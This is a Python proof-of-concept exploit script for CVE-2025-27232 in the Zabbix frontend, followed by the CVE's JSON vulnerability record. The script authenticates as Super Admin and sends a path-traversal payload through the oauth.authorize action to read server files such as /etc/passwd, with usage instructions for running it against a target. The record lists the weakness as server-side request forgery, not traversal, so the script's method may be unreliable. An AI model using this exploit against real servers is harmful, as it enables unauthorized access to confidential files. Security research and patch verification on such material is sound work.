CVE-2025-27232

# CVE-2025-27232 Zabbix Arbitrary File Read PoC # Target: Zabbix instances with Super Admin access # This PoC demonstrates the arbitrary file read via oauth.authorize import requests import sys from urllib.parse import quote def exploit_zabbix_file_read(base_url, username, password, target_file): """ Exploit CVE-2025-27232 to read arbitrary files from Zabbix server Args: base_url: Zabbix web interface URL username: Super Admin username password: Super Admin password target_file: File path to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ session = requests.Session() # Step 1: Login to Zabbix as Super Admin login_url = f"{base_url}/index.php" login_data = { "name": username, "password": password, "autologin": 1, "enter": "Sign in" } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return None print("[+] Successfully authenticated as Super Admin") # Step 2: Exploit oauth.authorize for arbitrary file read # Encode the target file path to bypass path validation encoded_file = quote(target_file) exploit_url = f"{base_url}/index.php?oauth=authorize&client_id=..%2f..%2f{encoded_file}" print(f"[*] Attempting to read file: {target_file}") response = session.get(exploit_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Successfully retrieved file contents") return response.text else: print("[-] Failed to retrieve file contents") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None def main(): if len(sys.argv) < 5: print("Usage: python cve-2025-27232.py <base_url> <username> <password> <file_path>") print("Example: python cve-2025-27232.py http://zabbix.local Admin Password /etc/passwd") sys.exit(1) base_url = sys.argv[1].rstrip('/') username = sys.argv[2] password = sys.argv[3] target_file = sys.argv[4] result = exploit_zabbix_file_read(base_url, username, password, target_file) if result: print("\n=== File Contents ===") print(result) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-27232", "sourceIdentifier": "[email protected]", "published": "2025-12-01T13:16:00.560", "lastModified": "2026-02-06T15:23:18.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated Zabbix Super Admin can exploit the oauth.authorize action to read arbitrary files from the webserver leading to potential confidentiality loss."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:frontend:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.3", "matchCriteriaId": "DE7D5FA7-871A-453E-8C76-2D00E41569CE"}]}]}], "references": [{"url": "https://support.zabbix.com/browse/ZBX-27282", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}